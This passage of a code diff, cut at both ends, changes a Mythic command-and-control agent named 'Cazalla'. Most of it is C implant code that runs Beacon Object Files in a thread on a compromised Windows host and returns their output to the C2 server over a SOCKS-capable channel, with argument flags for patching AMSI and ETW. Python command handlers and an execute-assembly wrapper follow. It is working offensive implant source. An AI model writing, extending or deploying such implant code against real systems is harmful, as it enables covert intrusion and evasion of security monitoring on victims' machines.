|
||||||
|
}
|
||||||
|
|
||||||
|
// Resize buffer to actual size
|
||||||
|
if (offset > 0) {
|
||||||
|
PBYTE finalBuffer = (PBYTE)LocalReAlloc(buffer, offset, LMEM_MOVEABLE);
|
||||||
|
if (finalBuffer) {
|
||||||
|
buffer = finalBuffer;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
LocalFree(buffer);
|
||||||
|
buffer = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
|
||||||
|
*outBuffer = buffer;
|
||||||
|
*outSize = offset;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -588,11 +1014,11 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Read arguments (JSON string)
|
// Read arguments (already serialized by translator, like Xenon)
|
||||||
SIZE_T argsLen = 0;
|
SIZE_T argsLen = 0;
|
||||||
PCHAR argsJson = getString(argumentos, &argsLen);
|
PBYTE argsBuffer = getBytes(argumentos, &argsLen);
|
||||||
|
|
||||||
_dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
|
_inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
|
||||||
36, taskUuid, (int)fileIdLen, fileId, argsLen);
|
36, taskUuid, (int)fileIdLen, fileId, argsLen);
|
||||||
|
|
||||||
// Create response package
|
// Create response package
|
||||||
@@ -613,17 +1039,39 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
liberarPaquete(salida);
|
liberarPaquete(salida);
|
||||||
liberarPaquete(respuesta);
|
liberarPaquete(respuesta);
|
||||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||||
|
if (argsBuffer) LocalFree(argsBuffer);
|
||||||
if (argumentos) liberarAnalizador(argumentos);
|
if (argumentos) liberarAnalizador(argumentos);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse BOF arguments
|
// Prepare BOF arguments (like Xenon)
|
||||||
|
// The translator already serialized the arguments using Packer
|
||||||
|
// Packer.getbuffer() returns: [size:4 bytes LE][data] where size = data length
|
||||||
|
// The translator sends this as: [len:4 bytes BE][packed_buffer]
|
||||||
|
// We receive: packed_buffer = [size:4 bytes LE][data]
|
||||||
|
// BeaconDataParse expects: [total_size:4 bytes][data] where total_size includes the 4-byte header
|
||||||
|
// So we need to replace the first 4 bytes (size) with total_size
|
||||||
PBYTE bofArgs = NULL;
|
PBYTE bofArgs = NULL;
|
||||||
SIZE_T bofArgsSize = 0;
|
SIZE_T bofArgsSize = 0;
|
||||||
if (argsJson && argsLen > 0) {
|
if (argsBuffer && argsLen > 0) {
|
||||||
if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) {
|
_inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
|
||||||
_err("[inline_execute] Error parseando argumentos BOF");
|
|
||||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n");
|
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
|
||||||
|
// We just need to replace the first 4 bytes with the total size
|
||||||
|
bofArgs = argsBuffer; // Use the buffer directly
|
||||||
|
bofArgsSize = argsLen;
|
||||||
|
|
||||||
|
// Replace first 4 bytes with total size (including the 4-byte header)
|
||||||
|
UINT32 totalSize = (UINT32)bofArgsSize;
|
||||||
|
memcpy(bofArgs, &totalSize, 4);
|
||||||
|
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
|
||||||
|
} else {
|
||||||
|
_inf("[inline_execute] No hay argumentos");
|
||||||
|
bofArgs = NULL;
|
||||||
|
bofArgsSize = 0;
|
||||||
|
if (argsBuffer) {
|
||||||
|
LocalFree(argsBuffer);
|
||||||
|
argsBuffer = NULL;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -639,58 +1087,168 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
// Execute the BOF
|
// Execute the BOF
|
||||||
DWORD fileSize = (DWORD)bof.size;
|
DWORD fileSize = (DWORD)bof.size;
|
||||||
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
|
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
|
||||||
if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) {
|
_inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
|
||||||
_err("[inline_execute] Error ejecutando BOF");
|
|
||||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
|
// Log argument structure for debugging (first 100 bytes)
|
||||||
} else {
|
if (bofArgs && bofArgsSize > 0) {
|
||||||
_inf("[inline_execute] BOF ejecutado exitosamente, capturando output...");
|
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
|
||||||
// Get output from Beacon compatibility layer
|
// Log only summary of arguments (reduced verbosity to prevent log blocking)
|
||||||
int outdataSize = 0;
|
if (bofArgsSize >= 4) {
|
||||||
PCHAR outdata = BeaconGetOutputData(&outdataSize);
|
UINT32* ptr = (UINT32*)bofArgs;
|
||||||
_inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata);
|
SIZE_T offset = 4;
|
||||||
if (outdata && outdataSize > 0) {
|
if (offset + 4 <= bofArgsSize) {
|
||||||
_inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize);
|
UINT32 bytesLen = ptr[1];
|
||||||
// Debug: log first 200 bytes of output
|
offset += 4 + bytesLen;
|
||||||
int logLen = (outdataSize > 200) ? 200 : outdataSize;
|
if (offset + 4 <= bofArgsSize) {
|
||||||
_inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata);
|
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
||||||
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
|
offset += 4;
|
||||||
free(outdata);
|
if (offset + 4 <= bofArgsSize) {
|
||||||
} else {
|
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
||||||
_inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize);
|
offset += 4 + wcharLen;
|
||||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
|
if (offset + 4 <= bofArgsSize) {
|
||||||
|
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
|
||||||
|
offset += 4;
|
||||||
|
if (offset + 4 <= bofArgsSize) {
|
||||||
|
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
|
||||||
|
offset += 4;
|
||||||
|
if (offset + 4 <= bofArgsSize) {
|
||||||
|
INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
|
||||||
|
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
|
||||||
|
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
_inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length);
|
// Execute the BOF in a separate thread to prevent agent blocking
|
||||||
|
// This allows the agent to continue even if the BOF hangs or crashes
|
||||||
|
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
|
||||||
|
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
|
||||||
|
bof.buffer, fileSize, bofArgs, bofArgsSize);
|
||||||
|
|
||||||
|
// Prepare thread arguments
|
||||||
|
BOF_THREAD_ARGS threadArgs = {0};
|
||||||
|
threadArgs.bofBuffer = (char*)bof.buffer;
|
||||||
|
threadArgs.bofSize = fileSize;
|
||||||
|
threadArgs.args = (char*)bofArgs;
|
||||||
|
threadArgs.argsSize = bofArgsSize;
|
||||||
|
threadArgs.completed = FALSE;
|
||||||
|
threadArgs.success = FALSE;
|
||||||
|
|
||||||
|
// Create thread to execute BOF
|
||||||
|
HANDLE hThread = CreateThread(NULL, 0, BOFExecutionThread, &threadArgs, 0, NULL);
|
||||||
|
if (!hThread) {
|
||||||
|
_err("[inline_execute] Error creando thread para ejecutar BOF (error: %lu)", GetLastError());
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo crear thread para ejecutar BOF\n");
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||||
|
if (bof.buffer) LocalFree(bof.buffer);
|
||||||
|
if (bofArgs) LocalFree(bofArgs);
|
||||||
|
if (argumentos) liberarAnalizador(argumentos);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait for BOF execution with timeout (30 seconds)
|
||||||
|
DWORD timeoutMs = 30000; // 30 seconds
|
||||||
|
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
|
||||||
|
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
|
||||||
|
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
|
||||||
|
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
|
||||||
|
|
||||||
|
BOOL bofSuccess = FALSE;
|
||||||
|
if (waitResult == WAIT_OBJECT_0) {
|
||||||
|
// Thread completed
|
||||||
|
_inf("[inline_execute] Thread del BOF completó exitosamente");
|
||||||
|
bofSuccess = threadArgs.success;
|
||||||
|
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
|
||||||
|
threadArgs.success, threadArgs.completed);
|
||||||
|
} else if (waitResult == WAIT_TIMEOUT) {
|
||||||
|
// Thread timed out - BOF is hanging
|
||||||
|
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
|
||||||
|
_inf("[inline_execute] Intentando terminar thread colgado...");
|
||||||
|
// Try to terminate the thread (not ideal, but necessary to unblock agent)
|
||||||
|
if (TerminateThread(hThread, 1)) {
|
||||||
|
_inf("[inline_execute] Thread terminado exitosamente");
|
||||||
|
} else {
|
||||||
|
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
|
||||||
|
}
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
|
||||||
|
bofSuccess = FALSE;
|
||||||
|
} else {
|
||||||
|
// Wait failed
|
||||||
|
_err("[inline_execute] Error esperando thread del BOF (waitResult=%lu, error: %lu)",
|
||||||
|
waitResult, GetLastError());
|
||||||
|
bofSuccess = FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
|
||||||
|
// Always try to capture output, even if BOF returned FALSE
|
||||||
|
// The BOF might have produced output via BeaconPrintf before crashing
|
||||||
|
// Get output from Beacon compatibility layer
|
||||||
|
int outdataSize = 0;
|
||||||
|
PCHAR outdata = BeaconGetOutputData(&outdataSize);
|
||||||
|
|
||||||
|
if (outdata && outdataSize > 0) {
|
||||||
|
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
|
||||||
|
free(outdata);
|
||||||
|
|
||||||
|
// If BOF failed but we have output, add a warning
|
||||||
|
if (!bofSuccess) {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (bofSuccess) {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
|
||||||
|
} else {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Add output to response FIRST (before artifacts)
|
// Add output to response FIRST (before artifacts)
|
||||||
// Format must be: [UUID_tarea][output_len][output][marcadores...]
|
// Format must be: [UUID_tarea][output_len][output][marcadores...]
|
||||||
_inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length);
|
|
||||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
// Add Process Create artifact AFTER output
|
// Add Process Create artifact AFTER output
|
||||||
// BOF execution creates process artifacts
|
// BOF execution creates process artifacts
|
||||||
char artifact_buf[512];
|
char artifact_buf[512];
|
||||||
if (argsJson && argsLen > 0) {
|
if (bofArgs && bofArgsSize > 0) {
|
||||||
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s",
|
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args_size=%zu",
|
||||||
(int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson);
|
(int)fileIdLen, fileId, bofArgsSize);
|
||||||
} else {
|
} else {
|
||||||
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
|
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
|
||||||
}
|
}
|
||||||
addArtifact(respuesta, "Process Create", artifact_buf);
|
addArtifact(respuesta, "Process Create", artifact_buf);
|
||||||
|
|
||||||
_inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length);
|
|
||||||
|
|
||||||
// Send response
|
// Send response
|
||||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||||
|
if (respuestaAnalizador) {
|
||||||
|
liberarAnalizador(respuestaAnalizador);
|
||||||
|
} else {
|
||||||
|
_err("[inline_execute] ERROR: mandarPaquete retornó NULL - la respuesta no se envió");
|
||||||
|
}
|
||||||
liberarPaquete(salida);
|
liberarPaquete(salida);
|
||||||
liberarPaquete(respuesta);
|
liberarPaquete(respuesta);
|
||||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
|
||||||
|
|
||||||
// Cleanup
|
// Cleanup
|
||||||
if (bof.buffer) LocalFree(bof.buffer);
|
if (bof.buffer) {
|
||||||
if (bofArgs) LocalFree(bofArgs);
|
LocalFree(bof.buffer);
|
||||||
if (argumentos) liberarAnalizador(argumentos);
|
bof.buffer = NULL;
|
||||||
|
}
|
||||||
|
if (bofArgs) {
|
||||||
|
LocalFree(bofArgs);
|
||||||
|
bofArgs = NULL;
|
||||||
|
}
|
||||||
|
if (argumentos) {
|
||||||
|
liberarAnalizador(argumentos);
|
||||||
|
argumentos = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
_inf("===== InlineExecuteHandler FIN =====");
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -122,6 +122,15 @@ static VOID flushRpfwdTraffic(PPaquete paquete) {
|
|||||||
|
|
||||||
/* === Enviar paquete con soporte SOCKS === */
|
/* === Enviar paquete con soporte SOCKS === */
|
||||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||||
|
_inf("=== mandarPaquete INICIO === len=%zu", paquete->length);
|
||||||
|
if (!paquete) {
|
||||||
|
_err("mandarPaquete: paquete es NULL");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (!paquete->buffer) {
|
||||||
|
_err("mandarPaquete: paquete->buffer es NULL");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
_dbg("mandarPaquete() len=%zu", paquete->length);
|
_dbg("mandarPaquete() len=%zu", paquete->length);
|
||||||
|
|
||||||
// Solo añadir tráfico SOCKS si el proxy está activo
|
// Solo añadir tráfico SOCKS si el proxy está activo
|
||||||
@@ -251,10 +260,11 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!respuesta) {
|
if (!respuesta) {
|
||||||
_err("respuesta NULL");
|
_err("mandarPaquete: respuesta NULL después de mandarYRecibir");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
_inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano);
|
||||||
_dbg("respuesta OK");
|
_dbg("respuesta OK");
|
||||||
|
|
||||||
// === Decodificar base64 de la respuesta ===
|
// === Decodificar base64 de la respuesta ===
|
||||||
|
|||||||
@@ -2,6 +2,100 @@ from mythic_container.MythicCommandBase import *
|
|||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
import json
|
import json
|
||||||
|
|
||||||
|
# Completion callback for BOF execution
|
||||||
|
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
|
||||||
|
try:
|
||||||
|
out = ""
|
||||||
|
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
|
||||||
|
|
||||||
|
# Get parent task ID
|
||||||
|
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||||
|
if not parent_task_id:
|
||||||
|
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
|
||||||
|
|
||||||
|
# Get subtask ID
|
||||||
|
subtask_id = None
|
||||||
|
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
|
||||||
|
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
|
||||||
|
subtask_id = completionMsg.SubtaskData.Task.ID
|
||||||
|
|
||||||
|
if not subtask_id:
|
||||||
|
# Try alternative attribute names
|
||||||
|
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
|
||||||
|
if hasattr(completionMsg.Subtask, 'ID'):
|
||||||
|
subtask_id = completionMsg.Subtask.ID
|
||||||
|
elif hasattr(completionMsg.Subtask, 'TaskID'):
|
||||||
|
subtask_id = completionMsg.Subtask.TaskID
|
||||||
|
|
||||||
|
if not subtask_id:
|
||||||
|
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||||
|
TaskID=parent_task_id,
|
||||||
|
Response="[ERROR] No subtask ID found in completion message"
|
||||||
|
))
|
||||||
|
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
|
||||||
|
|
||||||
|
# Search for responses from the subtask
|
||||||
|
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
|
||||||
|
|
||||||
|
if not responses.Success:
|
||||||
|
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
|
||||||
|
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||||
|
TaskID=parent_task_id,
|
||||||
|
Response=f"[ERROR] Failed to search responses for subtask {subtask_id}: {error_detail}"
|
||||||
|
))
|
||||||
|
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=error_detail)
|
||||||
|
|
||||||
|
# Process responses if they exist
|
||||||
|
responses_list = None
|
||||||
|
if hasattr(responses, 'Responses'):
|
||||||
|
responses_list = responses.Responses
|
||||||
|
elif hasattr(responses, 'responses'):
|
||||||
|
responses_list = responses.responses
|
||||||
|
elif hasattr(responses, 'Response'):
|
||||||
|
responses_list = [responses.Response] if responses.Response else []
|
||||||
|
|
||||||
|
if responses_list:
|
||||||
|
for output in responses_list:
|
||||||
|
if hasattr(output, 'Response'):
|
||||||
|
out += str(output.Response)
|
||||||
|
elif hasattr(output, 'response'):
|
||||||
|
out += str(output.response)
|
||||||
|
elif hasattr(output, 'Message'):
|
||||||
|
out += str(output.Message)
|
||||||
|
elif hasattr(output, 'message'):
|
||||||
|
out += str(output.message)
|
||||||
|
elif isinstance(output, str):
|
||||||
|
out += output
|
||||||
|
elif isinstance(output, bytes):
|
||||||
|
out += output.decode('utf-8', errors='ignore')
|
||||||
|
else:
|
||||||
|
out += str(output)
|
||||||
|
|
||||||
|
# If no output was found, indicate successful execution
|
||||||
|
if not out:
|
||||||
|
out = "[BOF executed successfully but produced no output]"
|
||||||
|
|
||||||
|
# Send the aggregated output back to the parent task
|
||||||
|
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||||
|
TaskID=parent_task_id,
|
||||||
|
Response=out
|
||||||
|
))
|
||||||
|
return response
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
import traceback
|
||||||
|
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
|
||||||
|
try:
|
||||||
|
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||||
|
if parent_task_id:
|
||||||
|
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||||
|
TaskID=parent_task_id,
|
||||||
|
Response=error_msg
|
||||||
|
))
|
||||||
|
except:
|
||||||
|
pass # If we can't send the error, at least return failure
|
||||||
|
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
|
||||||
|
|
||||||
class InlineExecuteArguments(TaskArguments):
|
class InlineExecuteArguments(TaskArguments):
|
||||||
def __init__(self, command_line, **kwargs):
|
def __init__(self, command_line, **kwargs):
|
||||||
super().__init__(command_line, **kwargs)
|
super().__init__(command_line, **kwargs)
|
||||||
@@ -40,13 +134,14 @@ class InlineExecuteArguments(TaskArguments):
|
|||||||
display_name="Arguments",
|
display_name="Arguments",
|
||||||
type=ParameterType.TypedArray,
|
type=ParameterType.TypedArray,
|
||||||
default_value=[],
|
default_value=[],
|
||||||
choices=["int16", "int32", "string", "wchar", "base64"],
|
choices=["int16", "int32", "string", "wchar", "base64", "bytes"],
|
||||||
description="""Arguments to pass to the BOF via the following way:
|
description="""Arguments to pass to the BOF via the following way:
|
||||||
-s:123 or int16:123
|
-s:123 or int16:123
|
||||||
-i:123 or int32:123
|
-i:123 or int32:123
|
||||||
-z:hello or string:hello
|
-z:hello or string:hello
|
||||||
-Z:hello or wchar:hello
|
-Z:hello or wchar:hello
|
||||||
-b:abc== or base64:abc==""",
|
-b:abc== or base64:abc==
|
||||||
|
bytes:hexstring (hexadecimal string of bytes)""",
|
||||||
typedarray_parse_function=self.get_arguments,
|
typedarray_parse_function=self.get_arguments,
|
||||||
parameter_group_info=[
|
parameter_group_info=[
|
||||||
ParameterGroupInfo(
|
ParameterGroupInfo(
|
||||||
@@ -64,9 +159,11 @@ class InlineExecuteArguments(TaskArguments):
|
|||||||
]
|
]
|
||||||
|
|
||||||
async def parse_arguments(self):
|
async def parse_arguments(self):
|
||||||
if len(self.command_line) == 0:
|
# This is only called when user types command directly
|
||||||
raise ValueError("Must supply arguments")
|
# Subtasks use parse_dictionary instead
|
||||||
raise ValueError("Must supply named arguments or use the modal")
|
if len(self.command_line) > 0:
|
||||||
|
raise ValueError("Must supply named arguments or use the modal")
|
||||||
|
# If command_line is empty, do nothing (subtask will use parse_dictionary)
|
||||||
|
|
||||||
async def parse_dictionary(self, dictionary_arguments):
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
# Allowed argument keys
|
# Allowed argument keys
|
||||||
@@ -105,6 +202,9 @@ class InlineExecuteArguments(TaskArguments):
|
|||||||
bof_arguments.append(["wchar",value])
|
bof_arguments.append(["wchar",value])
|
||||||
elif argType == "base64" or argType == "-b" or argType == "b":
|
elif argType == "base64" or argType == "-b" or argType == "b":
|
||||||
bof_arguments.append(["base64",value])
|
bof_arguments.append(["base64",value])
|
||||||
|
elif argType == "bytes":
|
||||||
|
# bytes type expects a hexadecimal string
|
||||||
|
bof_arguments.append(["bytes",value])
|
||||||
else:
|
else:
|
||||||
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
|
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
|
||||||
Error=f"Failed to parse argument: {argument}: Unknown value type.")
|
Error=f"Failed to parse argument: {argument}: Unknown value type.")
|
||||||
@@ -149,6 +249,7 @@ class InlineExecuteCommand(CommandBase):
|
|||||||
author = "@c0rnbread (adapted for Cazalla)"
|
author = "@c0rnbread (adapted for Cazalla)"
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
argument_class = InlineExecuteArguments
|
argument_class = InlineExecuteArguments
|
||||||
|
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=False,
|
builtin=False,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
@@ -163,19 +264,26 @@ class InlineExecuteCommand(CommandBase):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
groupName = taskData.args.get_parameter_group_name()
|
groupName = taskData.args.get_parameter_group_name()
|
||||||
if groupName == "New":
|
|
||||||
|
# Check if bof_file is provided (from subtask or "New" group)
|
||||||
|
if taskData.args.get_arg("bof_file"):
|
||||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||||
TaskID=taskData.Task.ID,
|
TaskID=taskData.Task.ID,
|
||||||
AgentFileID=taskData.args.get_arg("bof_file")
|
AgentFileID=taskData.args.get_arg("bof_file")
|
||||||
))
|
))
|
||||||
if file_resp.Success:
|
if file_resp.Success:
|
||||||
if len(file_resp.Files) > 0:
|
if len(file_resp.Files) > 0:
|
||||||
pass
|
# Set display parameters
|
||||||
|
if groupName != "New": # Don't override if already set
|
||||||
|
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
|
||||||
|
file_resp.Files[0].Filename,
|
||||||
|
taskData.args.get_arg("bof_arguments")
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
raise Exception("Failed to find that file")
|
raise Exception("Failed to find that file")
|
||||||
else:
|
else:
|
||||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||||
elif groupName == "Default":
|
elif groupName == "Default" or taskData.args.get_arg("bof_name"):
|
||||||
# We're trying to find an already existing file and use that
|
# We're trying to find an already existing file and use that
|
||||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||||
TaskID=taskData.Task.ID,
|
TaskID=taskData.Task.ID,
|
||||||
@@ -198,6 +306,8 @@ class InlineExecuteCommand(CommandBase):
|
|||||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||||
else:
|
else:
|
||||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||||
|
else:
|
||||||
|
raise Exception("Either bof_name or bof_file must be provided")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
raise Exception("Error from Mythic: " + str(e))
|
raise Exception("Error from Mythic: " + str(e))
|
||||||
|
|
||||||
|
|||||||
@@ -8,6 +8,118 @@ logging.basicConfig(level=logging.INFO)
|
|||||||
# Wrapper function for Inline-EA
|
# Wrapper function for Inline-EA
|
||||||
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
|
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
|
||||||
|
|
||||||
|
# Completion callback for BOF execution
|
||||||
|
# This captures output from the subtask and displays it in the main command
|
||||||
|
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
|
||||||
|
try:
|
||||||
|
out = ""
|
||||||
|
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
|
||||||
|
|
||||||
|
# Get parent task ID
|
||||||
|
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
|
||||||
|
if not parent_task_id:
|
||||||
|
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
|
||||||
|
|
||||||
|
# Get subtask ID
|
||||||
|
subtask_id = None
|
||||||
|
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
|
||||||
|
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
|
||||||
|
subtask_id = completionMsg.SubtaskData.Task.ID
|
||||||
|
|
||||||
|
if not subtask_id:
|
||||||
|
# Try alternative attribute names
|
||||||
|
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
|
||||||
|
if hasattr(completionMsg.Subtask, 'ID'):
|
||||||
|
subtask_id = completionMsg.Subtask.ID
|
||||||
|
elif hasattr(completionMsg.Subtask, 'TaskID'):
|
||||||
|
subtask_id = completionMsg.Subtask.TaskID
|
||||||
|
|
||||||
|
if not subtask_id:
|
||||||
|
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
|
||||||
|
